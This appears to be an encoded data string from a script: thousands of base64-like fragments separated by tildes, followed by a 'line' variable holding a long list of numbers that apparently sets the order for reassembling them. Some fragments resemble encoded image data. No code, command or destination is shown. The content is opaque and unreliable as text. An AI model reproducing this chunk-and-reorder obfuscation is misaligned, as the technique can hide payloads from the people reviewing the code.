QE~y3s0+RnDTlWxpqoW~LWe1Z2x0lpugiuFT~apY6q6xuq2EMBHdV~M1PtidQULWU/6x5P~gK8BVBAQEBAQQoAU~VI42qd+MHthelx83~HU45gC1oGcHogoXD~PztadtdwvW5lHpuz~8n4z4pSwu+8FZ3yb~spxvtPHPactWTUDC~rSumnC5XBsRf9YHO~GGC+lyaNqrjttrOG~4MLfAAA/Fwp/YrG+~t2aF0uk6aRslvgL+~+kG9E6tJxPGk~ZItNXTyQF3vv1eZp~7kDsAqqkW28vc/l9~9Mw7ZbCX3WNV~vos8c9sr9qpTUEYP~9gICAgICAgICAgIC~d08/fVeZxp82LXnW~una3eqlqjU8mmqZk~+sYyJuIGNaPR~uF543bdcIaUvo6C4~foVeZRp2iQloq2in~t9R/ZuQc6PY8aYuV~h28u9z1LrOC53Bjp~ljDTABj5LLPn25eT~HOQs88Nxy83D2+23~FAYHogYHog+oCAgI~XZXLliyvoUY4kyFv~FrnrfevWOsauSLR1~NJo8VGpIw6Vs~J28eZz+X7MlVvkKZ~DgNKuJCmkMFbC2cg~0tG5m5FyD6ivqnST~C3WqF7GPm5C7BccD~IOqaypa7Mc875G/Y~qeo+iw/k5h16EoM/~V04Ofu7F4dedy6tp~q/bmG8VjLlLXENB5~lppLBYIG03SLHUge~LiPpA7fURY+Pxms9~G58lwXLbivJt4eBU~c/HmUaEHXtxp6me0~luagsE1or30T~zvAADDl3f0C9Tx7b~bH7WxaR7n/5a23/S~xWfeTnk5fJaNIFwj~qpxW2qdtKftD~9/mS8rSXbo7L~vuhtH+7ETg84~oRRZrigEBAQE~BcNCuoZYme9R~ZWN4lsY+sjZIDCD+~fq1tv+kqf+0C~uhZajKfBGAST~3i0dU0VxiqaYhsTs~bfba6LwKyhpqiN34~EBAQeNTSsrITC+IO~bIKmomeQxrYoy8kn~VVK6mbZZAT0y~j1WetKWPmkdO~gx0UzP8A0vIx~b3Hf/nabS/8A~1i8412u9jVdohzw7~5txjH1Ttrqxsn4K7~mCEHJG9W4Wr2r7qN~OMrLLLbmvJt4COb8~0sI+ef1lLf0i6dyV~3X099JzWuvzQYqHR~/wBC38inZ2RN09bm~Je9AV4aM1IqMkDvj~GUNNE4tx15U7s7yr~Pc5wnxqziqkS~V9gj9xZG8RMOMnss~bnlK0xTcdPJjcSZ9~7ZTNkGhqG1YdDDGy~dHHIiVQY6qawTGKC~ftkfarQ9Lreb3K4V~0xe2pdTWrVlstlTS~kgLTB0YXbXWxXC+2~hh6D5qdrzFN36zCk~oLxZLmAOdzCfVdeM~jB7dFG9It07j8Gm7~aN0ck2PuWeWJ0XVb~5S7I/MpSybxLwXqf~tOWj91Y+a3x+~WWd28d+LjPFZYKRr~uiHZVaiAgICsCAgI~at2dt9xD3Np2~L5ZWtlcP32CmFVnp~ODjoEHAPiY3Rs28v~rIvCoYp6mQA4ZC1z~AgICAgICAgICAgIC~awldbRqfbyod~bM6eBgDRjyW3HyZV~qqEyVGnqiURS82PC~cg08hiPX96cf3Ly/~PCWvAmDGO7Ed~LoZrY2uogzndG12R~nG1U9+dO6Rprc+rs~zbjCjOotWhQ6SuOn~2g5LC7ABI+9NmnR7~XLJF5I9GvhPUlYWu~ZXCgaqOKAyVb~R5ro/Ukm2842adZ1~AQEBAQEBVXEHzBPU~eI8v7fLKDmT7Vveb~jWYvNyNJxvLmeSe6~4emcZr1TK262RlUM~TxeXY9DwvynJjfa4~nAQSe3e5ekd1NK0+~eWateNyX2r74WzT/~K9bDmjeZ6Yk0LbKn~ta6mZp5zyGucT1+X~Lva1NT7Y09y5i+AH~25nuQdXxStEjeoAG~VBDs9x4jlhn9uDmv~oZg2jiYeTGSAPJc2~LPljSPo+n8v+zag0~aJeLGOecZKdo~D8uF28eboxzQR6n0~OR+ib6yPo76PqMH/~FZQ19C0lgxkq9zsW~n2dBcWjl/wDpHZR8~PY03R3MXb+SOPl/u~JG92O4QNZBJA6Qgd~AgICAgICAgICAgIC~hKzPm3mUdVeiRl1t~YbvZNjSLrQy0pluN~hr6T3gyB5jk5QzJ/~EBAQEBAQEBAQEBAQ~VXdP38Wisiq4W8r2~4811YTSFlaY1~3oAm0be8FNK8~eH/U94uO19/Frnmr~X25rxatWisNYOZ3/~JK6ycLtXtltbsZpr~jWbW30cw7ZVbGdVC~awqbpUsfNIeVp7ZX~+TLTm5MmaN1t~hR2icuSRsRw4~9vNEuc1i4Jf9~eh7pWWemhp6p8vh4~jaC1bWM2qddR~nzY5Ymuc6Pl6~x7f7Y2St0dFdJIG+~W2mrTbnGvpIGskcc~p0Zp4OTHh4bg9fNB~UyJ81NNHjGR8QXXh~vbSe6+H4uB2z~9XIPmg66S5bG9xdn~X7l5j2P0f2/Omjox~AqNz+03KMgaP2O1j~nkY8E9fmtrfT~AGyVJdtIaoneyC5s~DiRoH3KKr2QmaWOT~V5XLcy3Urela1MeC~c7RiPzU2BEGumPuz~JEz3NcMnBfkfmQbO~uVLDV0O3c0kF~/ns5oZLm4P8Ad+bm~SOIOW5C16TXpWro1~BhWv3L1Vc6/3qatk~z74Y+TxOZufq~UucHco/KVz3glcf6~aXtFFjldDQwNcPmI~eT/H6VzuvpsHadDW~3B0cjA4EFvoUHPvg~09tccWues9WaynvQ~dPFq5nMpvP4T~IbZVB7gSOxVbjVum~RfDgxjaEeyv2GbzG~mgco7Aq0lk26Mc1x~ICAgICAgICAg+NGU~RsPT0XVPbtxs0p0L~kwLyAWglOP3VMcfb~eLZuL2VWxFXSQSua~7TF3oJHPqqVwaD3w~8tjnf+9/1JtPeIj7~6j0ZHX0Ah8Nri8EY~FpzYre3E9q1e9yNF~nHqD3T9GIngr4reJ~PifFbQObqBhU6sPg~ZC2MF48Eu9MjGF0b~cOw5s5UfGpeKqXe9~x4R7/eZ6WN9TA2B0~nZXPVx6KprpT~DDo6kHpzfJeLzc1x~nkLkrNI2KNog~xgSTSRh7nv8AM5d8~H7UTdjeu6anpYG0R~3i8VfNMRzZcO2Vh2~K6VyOqzE6KVp5j8l~BK6j3AvOobU2~aQ5ieeRsj1tOKX2t~NkX0bmUU8kFQY+UT~X8IVuoHiya2ZOWNL~y2ruZJx+ypP65XDy~gICAgICAgICAgICA~AM/ar4tpd2LJ2K0R~PqObPxpfpkOx8UDn~fypr0veRs1Qx~4muHvfCw6b1Ntbrl~6meNU4/jcoknbvWv~5oKyluVHTXCj~tcAEvxc2AuzDl06c~N4rb1nw/VtlpH19K~1FcEBAQEBAQEBAQE~E53LnyK5s+fTLLk0~QVwuOq3tDCaZ~N2auu7N85JjR075+~aTl007LYn2AutodI~pk0iwqrQt51PZYtQ~CAgICAgICAgICAgK~dyg3L2rt7maXqJXP~e78zcu69zlRsXZxv~o7pTwuPiBzio4/Im~zw9vDzx9qPuRctT2~u1rXfh9gmJ5a~wLecO+wJjwyGPiSN~fEbGsY1knxcv1QOm~aktjAWCFwGMAYXP+~PmQsLP6U6o7jqLUd~HE1jR9wQRyQ0U8RD~c8nj8rRnyU6b14O0~O6KlHjPYOWvFbCej~/wB6Dfy0Vn0jaaG4~jFVoNn9V1fwus8g+~SOuc0gEj4lnycGzL~n31o+5JwWow8S2rb~nbog3mPkPms/~UKszEBAQEBAQEBAQ~GW+vdcWdc+XtaN7k~fSuU9Mu0FstN~7nM1jSRgkrHl+mfx~8M2XtPft0wg6xaUp~AOySgiDml/MGkoPV~f4qNpaR8d2sdJXXf~OklTIfX4lOj4~5DuUEHK6ceW/T0pf~3OevYLPG6jhqg23b~T4atj42T0g1hS1Di~tn3rfD6elwrlPYLp~FuqGyUfjNPwOGM/J~hxlcZ/EBu/Zd~ujbTNgPKcgPY~ocMEeSv6RGKN~JGf0pt6/aFy8~1txuDLWP9zqnHxoX~BAQEBAQFaAtmexDY~Kg0x9mNxHbib3M17~7RULpXB8LSB1Ax3V~lnqbDfae31fN~kGYn+EVGPPIyx8zH~RHZQ7lw+axoqIVsl~viy6MeSp8kqi~yuZR2qnc/nIB~dpNKjGl7N8rfT/2b~ygn9CDN2wrqqTafT~0Rc1jw7OOnTqqZMu~S9PARsICAgIC~sOldbRs1LmO2~xsMowPX2XWujqh8Q~Hcq2H2jD7Tlp/dK7~fcqvx6KpIDuvQptp~4r6d7Ga6wgyRb8SO~A4DHZGq1SS15LexU~YyqXk9NZk2Fvl7o7~EBAVqmCxraR9~24dxs3TkZy9ObOOn~Yz8LAPuTafk2moqW~D24sfDlq76vhW4tr~oWUlBBVRCKFnQDLA~bW3Osd+yGR56/Yue~+Ctb5Lr/AOppclk2~D6q+fJqKZZa+mx9R~0xqOldS3GkGJoj3b~UFdoPXtvqLfdKA4f~HOSchByb9r3I126m~4MhxlzicEeeMrzeX~Md1PtD3jdGO6jaNv~ICAgImvqtFHh~I0/C8Bw+woMV8UTe~Cdz7ja36jqHW~SUknJHFM4EfYVHLh~avpjX6Ru9OB+22+f~0c2HgTbI1Two~SrntczTFgxhx~PqmSOHkGMuW+~Zfkey5W7R0dU3w/B~lXNnHn8sWZv0~O3OC7O1BSskZ~Tz11DEQ9rc4WuMXk~NRXXCrvznuZMap1W~b3R9i6heSPs6IlBc~SX/sr3rk5+Y57K29~GgPFH7Uc8Pu71/2e~T+yWf4poa775e0Z2~Tv1BU5YwEjI9Ao9W~jLVtLtfsg8EO/CNe~5MsVctm409DB~g053n/8AzCNmv4lf~+1Wgjk4Xr1M9o5oz~BF4pFzaxqNLagtVQ~EBAQEBAQEBAQEBAQ~8T3IwCXkaerTn5hP~1PREbTHAvxt8OOzn~lTarXYrmfo+U~HbLdp4gqCjsHuc7M~wOio6gwGF+MB3wDO~TGWqfY401ZfKq56V~ZoLrqndp9krZ2h0l~W+Dp42I+IjcG26P0~GVxZcWnPeOr5ZeKS~t90qrrqH9UOpb88P~AQMDAwQDBAgEBAgQ~Oc1Y3L36OrwrtyL5~1N3n1hps0TrV~motVUzw6TDA3yHMo~JxjCCINZ5y4KAxzh~OyRtfS0Ns7xLZtTR~7+WV0Y8cxTMdLpvm~9dq48bYjXfstdfaL~tdUteGm9XLp0GKt/~3ii0qPcjVulK+a26~AQEBAQEBAQEBAQEB~fVj6lax1StZuKPdG~FRbYISABnDQVzTyK~pXn0a0En8wQYy2U4~sHGcrPdvus8q~WtqKWR8XI9nV~/EjIOR1IUfHj~FzBg9+yxm658lKqd~agvlLbNMtulN~Srqf2wdu1xFWjSpf~Ud5pTR1jQ5pXlzks~yOaedgLu3xdl~0T8FU8b82sux7+1O~JcKqWoqMgl7iPyrv~cyOMNB5QOgXD~aRr3xPbkY9F5/J6c~I5mBr3MDu3XqsbXm~5yxz0juQkjPqFKlR~vPT8qt3Teeqh~CAgIIkBAQEBAQEBA~R/ZVMDeFqyOxgl0v~tUFG6OPME8Ic09Pi~EwM5uXPNM0KUsx6P~P8oN3ifre9xf13IO~9JPPTUdbOfDZ0JIX~OiplnGeWS5JN~XJXkeRnL9MKyPM41~dSoRo5h++Ck2~Q0+tJPmVbqfGmYak~0ktScjxQJHEDHljK~c2xnBXxsai4aHs25~qQp8x+8rtJwx~p7vT1Lcse0/eq6Vs~ytjia0NHoB0Q~f0bZArpdEaztsd4Z~UXJlc9LksWjbzqAZ~vmF6XHGuOMjH~IzgBBamzu+e3~5Ejh5eaRceidoLqL~Wf06YaFtv0Do~Va+LY3n4+xXLVuVb~vWsV7b1E+idUaR17~8kUo/oq3dPzI~AvlmaynAy4l2MK1b~o6sVK1JXsYwPoHtL~rIxpq7iQ2005G+kb~yKfCzvGojtR1egNS~pscN+HfQsm2PtBbf~gICAgICAgICAgICA~2O6i/SmU7RrjtfXm~GyZseAATgKtx~Xdg9Th+lzDsul6eA~ayI6qqZ5/d4m~pK58/Irzubz9~1ueVoGSg6CaUwdMW~anhk3TpKOVlk~aaG+a43JfY6mYiSe~DD7KbYeEjlY8gHtz~4GFS1S56dEvZ~tVEY+R0FDAwjPZwY~uh2xtm/siXA/2g2R~oVfpG/TH/GUNJ+y8~AgICAgICAgIC~7z+HBT0zoeYd8yAt~TPsi6vUstXE3fR8b~neteRlfbFW5mktS6~JY7O/ldiaf4Q~EpJA7I+1Vs9L6Zqo~PkrD5Yx9T8OF~ftZm7Flmv+n+WN3O~dkA91z30nSCvutNQ~/nkdzNHocrn+N53N~019jtFjhlgfGHGIH~fCx2fi9FHJ6RvTIm~UtdJgAAjPUqmWNXm~7aRBqfRNw09FzVVQ~NF2OfPNzW+DJ/wDL~mijywGoPfp5q7rxU~lPorSp2+K1aQWcpa~a+4e5wD8Rv5E1UbD~EBAQEBAQEBAQEBAQ~anb2aCOw5laYXJfD~302nIs/era3S~pKttNZpD4Z7jPRb4~6OLwWSFpGR6Lh5c9~ZOW8OXpnvTDsd5rt~e1TbTUOLWSPA~pW4JGS6QLO52ekbZ~XjJVLgxsQ80T5iQM~Ds9TQswIAPuVbzqZ~sDw8/wAFByi1zxaX~HxHK21IrnGzUsD8k~82EgZ+qV7vi42PV4~H7jr45/a1dbXCorJ~aZ5qfbLRBamFxPTq~NP3q14LV/jXppKWp~3c+mhu3vVqYP~vka+Al3UFCJW~c+C7t9hWjow+2i+0~0v20yvtreaDStLV2~PLzHthyfBUzxMnvS~5JZteZxFU3O7Xuod~/NyZGR1WWWLn5OLS~SvqHSviI1RDVFRAg~PJt24cm0Jc8x~wGOlutwYxn4rap4H~OQ7BCi3afkbCaesF~QYY9nneKq/cL1hr7~X7GWqy3KviD+emo5~yDf6Sv8ABWn6FfP1~1JeV18Ub4qJSQFzm~J3h3FF0e63s69SAV~ZK6ocWxjsmqi7qKN~5YubOKkKgOi8MDqF~cEBBoR7XgZ2Pg/jH~2Dm7uJwB+VVmDOcX~tTOabK2K82T6Lp/o~+VkTo6Glhic7nJ6E~rHR+q6xlDTakrjDD~zV1xhYbtUB9O8tP3~8deljyRje6yal1Ey~tSt9Ry0jx8io~EiXPH2uOvtU7X7g7~kq05qlYdkLbFIHvp~ReRcvb5bPl/kszUW~34sM9VecptRNGapu~YB9F53Jg588UxcIb~H/ZQaU/ft/Kp~1uTimx/8sKKq2k9i~dcgJqKrEUhOR0V+P~Ha+fW1Q25VzXFrsE~fO/keZshao/B~tQ2+rdVUL5Y448PJ~LFuNqznluFyM~uz0Dnxt5On8Lstce~1UVAqsvLublx~Nmm/tRB/vfnn/v1L~6tYLtBJQ6YIO~SPKmLT7a68Xj~EESAghQEESAghQEE~6CkEZOOmep7dkGWA~sD3xOkL+pJHT0yh2~H8YjOcIOnlxn~pWe51c8D4Iwz~ruaXc92MHmpPh/Kh~hcm23wS+6vazp3I6~e2jOC1p6Ar1/Grrx~fx2wzNaWgEdVTJnc~ZVBCZIh6FRtGlq8H~We2C/Xmkdd6OIt8E~e9lGSd59Qfaz9BXZ~yWWH268WsLdOsrL1~spLvQVFruFPHNBVR~hIbieQnovQw+~2Wdupt6w4dq2~ICAgICAgICAg~zoOw68tHtI9SX+s0~rXNSzT3GYsc/~CAgICAgICAgICAgI~g3vX9otGj21tFQNj~M1NJzlgf5kno~za3sCCVnftxZ~G0GqZSyWIsYemS9Y~SS0kenZBwK4/Rycc~i8S40bHPxl2X+a7d~XteR0+RXs4x6OOL7~HRyho6FOrXGPHkOV~ZddP1lyhnAkpg0lV~z28by57H6evuvN0L~b4nJyzNPbHVB2F0q~SGJ8uOUuz3UdTSia~TFWOM3LkjKpa116U~3I0ef+5/f86t0WnD~39OjGvDXNmi1Bb6m~Fb4x08cc4KiY+8TY~Gxx/97/qU3OL3lxT~RtYB38CT+qUH~LAQ2fxOnqQiNtuPZ~KwseCPIjBQcA~iIt2IrZsRIgICAgI~9s/JR4/BZXRhxtUN~WK3GxNPvlJGzm8Ru~rQ1pvHofR0L4L1eW~c7e9rhIM4acq~TOwWnz+S6J48~SDHM8ZPRVlTpi3dC~l1hq3VUd1kzGeoDv~MB8VxxygKblqe2Oe~3n3vxMdc9sKuXpln~rnTy++AeK7Jye+Vz~zE46LO5uZ9vcNHd7~AQEBAQEBAQEB~rknkaeTj51iU/WZi~QEBAQEBAQEBAQEBA~Yey+/wA0PSv2z/1y~NOOndazJttM1dPdL~4+f4vfSWxHEnuvpa~1+rLaMRM/wCcs9B8~BCETMQUUIkFRFWEy~nW5JtHrHmaPpS6f+~b4lQzlaCV0V2~i8uXtzZVaVXY~FM48zvrOYCfP~5qUtycLsxwTMdse6~D0W2Oe20yUbD/EDI~CAgICAgICArQeU/M~bPp6vFw+mBNT~/SGL6ys1PtxdBHVc~OoJpWUkMnnnlIysc~R00bnNwMhqjvGN5Y~NYwJqPWFwrLtbq6W~bdJ616dvdyfi10ck~9QSXCw4c8v5steur~SqREMUlUxvNn6vxu~EBARBJ9ZTx/acftN~cyreCxTLwLFyUev7~HHdVvhfbVbcHbukt~kjP6U29ftC5e~3b19MMPbkCiVPZD7~0fJpr3Y1g2ZMDn3a~NQNtDpG+G53L8lnl~YM1EX1STnByuPNGX~PjD1q7xMAmEE~wrdds7xpiOa31jcw~lpWqtqGlpqq0~LW2PDWHNacQFrqLf~5rk17r7PUax1JWwU~1dZJGNdTMpHROlaT~AQEBAQEBAQEBAQQo~D6jt49T6XnZ9gb/p~BAQEBAQEBAQEBAQE~YYVPZrLIum07Ratu~c1shHfkwunv60vKx~Npdgu5Qc4HmumPQw~lXkzWlI4ZMjOUdvi~a5cb+713ELXm~2Wk7K7p7ce+6ela6~922KppqKY5c4PGF2~thtLH/uo/uQZTun/~xzA+8t6gq/RvOCRS~5vmqsdvGlL8flPRY~HRe5VvENJVUdfG2o~4h8DovD5hjPX~lHmmlGHk4C5c89vC~Tdu01b2U1PHyOI7j~qs6rWbtJbQxa~L7WnEteWz6su+LhV~mVexlOZCfdx/RW+P~faa26QnY6bl5oz5L~dGLvweZ7reN0Q7Kr~cWLUVufDDFEX4PVu~QzDlnhikb6PAI/Og~7yEjuVR0dnzw~AgICAgICAgICAgIC~YyupAeuASMJ8O0/H~7xDWj7cLq48N~B0fOCXY+wZTc~mrLY4Fp/5yz/~U8gHvIdnB9FXJZgv~Ag56hByX9srX3Sg1~Tt7GZFcPyJ+tWf6V~2mste47e3yjpnSU8~/ff9SWrXONbuLPiQ~PiCvOGo6V5VNzp4L~1khPTsq522aa79Lv~bltZT08bWRsNGwlr~EEKAgiQEEKAgiQEB~XVjY9DDPGf28/wBS~PPvTdC0XakvFEysh~tS6fcHc8beU4PVZ3~G7lcPvC24/Jd~TY8C1Mx+C9cu~jk935+bk79Mo~/wDqh6V0NXm6xx1V~mOEdmGW2Tdqd~GXqXc/S9XZG3~RebnjMazqg2D~Mbeq5skOcDIXfwYW~mxSAg1DMggH5oOT2~X7SlZfrs8wUbObwn~EXyMWmGwGvbnsTvj~yHl8EH7k7ow5dLPd~sKbi3yJSS0VU~p+uaKM9ZY/6St8Vb~7XHw4yPnF5wA~AgsBAAIDBAURBgcI~kBsoJQZ82YpJ6DbK~OCrY57dBGOio0fFA~RJLFXTumAd8Uf4Yd~Kp0NXeID2mG0WgLV~Pos+fL0yyrK+htvx~88HGJm18IfGI~LLK0fNrCR+hB~jtDrlYHtMrW82M9c~Wi3AjEh7iOhc3nPz~62gItI3iSPVdtc51~VT9rat/J7XhZdoqW~yraeHG/wpT9dbU3l~bRc9XHT7pPc3tdI3~Q5Vy4to+OMrWbdak~7ds9D1REz7c6J3cf~UPMXOz2HySYomOno~To0+JdFh3Gsd~Md1fTBmlNSXTb+/1~F7ycdFhy8rG5Ja7W~AgICsCAgICAgICAg~nZAAOepWdZ1L2LSs~NbvjbaaQgV7eidGk~TdqpBHyuioYG~LHgOB9QexQWfvR/x~VHyue+RP9Zq2~Jsuu7HX1U1uBjjc/~5WXJzdIvaLg936FM~au3hnKYAGu79O6j9~ZX8dUlPvFbnvLPFB~WYk4t283D9qprGk5~dOh6fsqT/FdE8j07~Pbkw+2wfsev8udef~u1zc492++P8A8Vf9~eY30pnn7ZFi2~KpQaSvt0kAttoe8n~S661xUVrYniPxeh+~3stk7w339qt0R8FV~iuMF4oo7lSuBo5Gg~Xw7i96/X9upm83vr~h5Tox5lFG39/NQYj~22ggptBWCGBnKz3C~rrNd6apZbp/rc3Jj~PyKRHgegUBgeiCDA~CAgICAgICAgICAgI~xjCTB24m/wDchWvB~UmfieclW/poqNrop~+y1F11FBb6x0vIZM~GDJjgOyVrl4OicK5~zS3i+3j9Ul1ab/cG~SeE8073YJx5L0Mc5~3iNv/B9R5f8AZuUj~VV1o7Fpm63aunZFF~pmB0qsUV9pqu~pXsiz2J8lfLkk+l5~BAQEBWg+sD3O8CXo~hqY7n71C2mfNKXvD~GmdPGlgk5Zywt6Hq~PJFFVF7znpjoubdt~dZZo6ilEEeOVww5q~AxGwkqOtdOPDUcVL~JUksX6LIN7i31PPq~dVH4Ujw7OO/RcUx7~4g5sNGE6jyki~/ep3X+ZMU+xlKyPA~sWhjVWtR6CD+9B1z~lvP0lX6mqTPUScnL~FWpuI6CihfRW~HWSadpJS0s8wV7fh~cpuZ3uXNnB9VW+mm~ycPqvL8K6ybZexjv~/wDrU/HF5w4sIcS/~OpiTK/zXRLF9~+sLzFM7HkV6fiZPp~NJK8YEoaTnCaN2rw~ICAgICAgICAgICAg~bDStlblnjBzQ~vOwu1Wpb7PqK86Qp~bt70rS3AObK0Sc3d~Pyk56eS9jCen~Z93Pie2qt+5w3dfZ~+h74HBzTgBdON22w~Mxho749FjMbU442M~o6E9UFuakt7LRd2w~gTcvXlznl/J0Wfdh~ttVZ4luqXA5WufFK~tfLjofiKvZtF4Ku6~0DKbEYb0TY+83yV9~D/15dXyR6c58axNx~h3ZrVNU0ccsP~8Yy4ZXRhzL9mEtzd~BcBL7v4PIecPzjGO~LfFFVtXCfxjQO537~Q1L2N/IDhXma+PMo~lPBjSMEVJuLHE05P~2nGxJufuJpq9U76e~EfmQc1dXaQuOm/ay~ZWELnpa82hjzW0bg~wPyJtFyqE0sLviMY~Kq3ntZZ+blmm6jQd~isjHiHPPn71fL0vH~/trb626L7BzQnbWz~lLNJI0HnGSFSYWrf~bD6deVK7Qz2s~3xLX4K3viZJy37p2~uGOTPxYnJojC~9EGEfa+bn7o28WTb~ggzJdKUDq1rWYBH3~hGD9oj/ij9CDVn2n~JAx8+yp1kZzjkdyd~gHA4/Mg24tNF9HWu~gxpw3cZnGZxA7vWX~GLqOX5rzLx2Vx5RR~affcLrkVDQXAu6le~uPPO7TFhaht2n7Pr~B+vOd3BefwmM~UZ+4yzm4yRoD~mjXus/X+0tx0xVuu~enVF4xLu1sVRX21T~rPaNoZZzL5KZdI28~ufSm7OoNBufBb6kE~NH4RaOdnZeZZKxrx~EtuliqA+LqCr7aRL~sa30ZR364Pr9PfDM~Hw1Tq7em107iPf2p~PlvKOvlhV+RW+Ti2~kY3PzTuzuTzpdWQs~eaq7TbT2qAN8Ona0~NV7ZrpQPLJ2jOAR6~XiyBV19t1dPPLA5o~tsqWKlDDEO3osMub~JoogKSTq5zCB5epT~V5lP6X9PKSuuNRAG~WRnq4lVppHKIw4Fo~oPfzUmtq/be0aZln~y6UlHStoOgd2WOkq~N25+isSxAlss7gAA~7RKp27pqFsVFJXwz~MRzg+nVR8a3QNTSv~yBuB6hXsbddIbvXW~SSVpDh1dlVmNrOcd~G9dR7IS902npr3X7~HLnvkpsWRv1YI9U7~O6mciceXS35Nh7Y8~BAQEBAQEBAQEBAQE~t2r2cilqaG5ACW5t~uzAdbRUMcHlzMjHX~Hukst/i5/wAC4nzW~ab0RA736piL8~KKQGjk6ODQCO3qt8~7c+zRS4l5Gk9jzZW~knS9L1t3cLdYfeWy~GSN3KS35Lg5PTmyW~PGTnl+E5QbWako/f~0aY8KdjiY0eSdHTj~XxY6Y8uW4T9ZVVPQ~gppi6mccgAeS6Zj6~Lh5IIUETfJB9RG3x~ub7VOl9Jq30FRdKt~7/Mr1ePyv8d85EjX~p40acfgYqpUcM/Fd~BVjB/wD4fT/2bVq6~e15cNwdZWR1TcrkW~x9q6MJtfqzHtvqfT~Py+/Ny4cvMfhV8eO~iqXD2NkL2joeZ3f8~bjHzuLARjqtLjtXa~TsiWLuBHjM4ctltk~4z1I75KDjDs5~n5Y5LmyBPpLTFZEK~ZCybkdJ4waMZ6dug~f9qLz8gkf1stXn/9~7qceKxOXj5PV+raS~ZrTVyikY4SUbGgtc~P4pws88Ns9LtklMn~w7VjbXul7faahtI+~U5a8Z64VNObLWnQL~ptSV+mKs3WYERzOJ~0rmywZRGr9P8jSy6~q2viZIMc3XBW~AgICAgICAgICAgIC~pDWattpJP/WW~ZS7EzEuDXsz/~hhP9ybHND2cl1ptz~U8BpjHK34vJUwyuz~6H5rK4bZ3Ffu3epK~CTUFwAFTICz3p+CO~eBLKM59V0XN2~cT2vhky3AOAvX4sf~j5TWT5Plw1msva3c~W8o98cWn1xI1~LxJljtvj7Zy0VuDQ~yJxY9pyrX6Tl~h4jYObu4nAH5Vlj4~3GxctbebPbIfiLCG~fc2DAw7qsrnWN5lv~UN/p5tPXKRr54yWD~TbtOagqWCg/CvIw4~7NRQzEH+AVp3~ICAgICAghkax~Sy43+XcwNELZarl9~Y7ZC07rjSNZU~m0sY+1fuVBT7f6Yt~02GrLZQsuNEOZrm8~jzf3IOitu/4NpMHH~PHVCGQgEgNWGXl0+~OzX2O0xuqqB+al2c~SMqdUVDj10vprdjh~PVzxAQNb9YhM~QtiGcEW+n/s2qBrL~rlXxy6UtUtBV5+J4~vTF6c2pc4xE4~0a0ZJTLBF4ZU~6fau7xuC2u7i4ttc~rJ3SUFdFTOkbKOYk~POq7XZ7zJOQH9/M/~3pO17aPferBM6sEM~sqQ+2GvtYHQnZJ2J~dx9P4DHOjL5Naa1k~e59Vnh7Y3g2xhrfU~KrlvVvpQKO9XCBmC~S1VK0VEYxnHVeZzc~gICAgICAgICAgICA~Z7LctSbt/Q1q~B3A64VbGdjzvEc1f~NNUVg6F33BQV~21XZbcIaSina5pjb~FjTajrarXEun~x7H7VzzNFqc2/s8e~Qm6Syuc73cEnsVeL~+yn2G5h4cb2g~GiHsWP8AhTdj+UU/~8D+9U6KY8Tp/p32Z~EBAQEBAQEBAQ~4s8dkxTelr/p+0Wm~0aSKPpHUuu6m~fLKi+i6jgFoj~90gwR/0YWTkvPura~30/4p1c9mB/miaUH~VOppaFifW1t9lipq~r9Ta7ddwyo5MEHPV~jRuzvEru3pWn1roP~eAHD0yBlRtWZ~ZccOx9bGfVX1~5R82j96JmDht1R05~dMEap13qnXlQ~jQTj5hGVqCmstTZ6~AICxuTjyz2jdJH4j~kcoJWHm8usfTn5K2~5vDmTHlXuXV1~J+kLa4RS7fWF/ht6~2cHBcvbpmDHtm3Gv~OaHPaKHm5Se47+S3~EBAQQoCCJAQQoCCJ~+atutJyVdc2ttL3K~HNR0tiNNJEyRrI+5~ebkJz2TGekX6fn51~S89S+CWaVxxHjoVS~YTsiZhiiPTkCbTc9~4dRbr09uoXv8UHA6~tlXBkJfFG40fjEfW~nZyeuVbqvOO1~g5jgfPmVviqM~hLpLZtW2iuo6qlOH~qgue0H8UrK47rLW1~ce0ankNFcoPc5mOA~mfkWM+T8jpV3bRyx~fN5pMdRvLYdM0+nL~PhJudTOyfVdPyNOD~sxe92G2L6X+h/D/Y~FpJ9Vz99Rx53Tbmz~OX+oGFf5ovORZsdl~yM8nN5ri576c~/k+BpHqvctz/AAqa~yPsXVqviZ1FG~FcvBjPwu6YWmF9ts~A3Ffwx3jg0m05nXM~2+Mua5uevovNzwu3~R9QyNjS4npgKu2dy"
line = "3064~14140~11872~623~3500~4298~4118~4147~3982~14510~1694~2210~7299~7339~8679~7629~4513~2349~8320~6415~10553~5847~10257~2267~8576~3350~5675~9217~13063~1356~8675~3155~10782~10562~10950~5268~5283~12363~11007~13171~11820~5215~2762~13470~4585~8262~10199~1780~1809~13531~12853~8980~1053~12723~12882~5158~11162~11384~14509~14344~9060~11793~13804~11630~7929~606~3249~9546~4655~424~7970~1440~5139~2602~5202~11388~2774~3684~4508~10955~9231~10673~2810~10593~3192~697~363~2592~3247~4328~11378~9579~5272~5229~13802~3682~6868~8735~284~459~11783~7485~5771~8866~2830~4464~11076~9451~423~6306~14596~8706~413~10094~3340~8549~6497~8089~8337~14077~1869~1469~4730~8440~7454~794~14516~9572~13924~9268~13088~12250~6288~7213~6150~12635~884~8481~8299~809~5387~6449~9313~8125~1867~1480~7163~14710~3990~8797~10176~2670~12900~12039~5647~3985~3621~13932~9051~8238~7102~10218~9272~10167~10201~12819~1351~8581~5853~4928~4616~11538~4384~5864~24~6084~5606~6322~11250~3276~12699~8329~11271~4252~10942~14366~12117~12094~14337~11973~4347~888~13032~9186~4540~3137~3314~639~11043~6926~5969~6313~3325~9110~7870~14413~5931~1531~12691~3246~12240~9936~6461~3373~1865~11609~12003~12153~8071~6547~1065~13898~1455~3539~8221~872~13815~8438~11427~7024~4495~13201~13402~9687~13051~4958~6911~14466~8414~14079~13602~6089~8602~4833~8016~8739~13333~6823~7934~3835~12045~1808~13113~5514~13180~10609~3324~12885~515~2764~12209~3338~6932~11691~3436~9856~9669~12855~7283~1214~9969~7323~7716~6839~2759~10190~8287~11160~14725~230~6532~14520~760~12121~1679~8522~9794~2566~13000~6816~12640~244~2993~13017~13567~12911~53~11277~8704~3306~6378~9902~2352~11841~2014~6360~3999~14005~5866~12751~1751~5192~1824~8295~7040~5992~7201~13146~2038~12007~10006~13745~8842~1459~749~9779~11522~2703~4614~10016~967~5248~12221~4063~11580~6534~10985~7956~7190~8793~2362~7117~12848~9938~12065~3290~3842~12632~13066~7031~2862~1876~8970~13248~7748~11779~10838~4460~14745~214~14195~12353~10821~12840~11761~5417~13590~5409~14129~4278~4410~13992~3121~2828~2376~1961~11148~491~4030~10948~3135~2858~13752~1181~12779~11059~7914~2517~8967~7129~8616~6459~8034~10154~10390~3937~4811~11638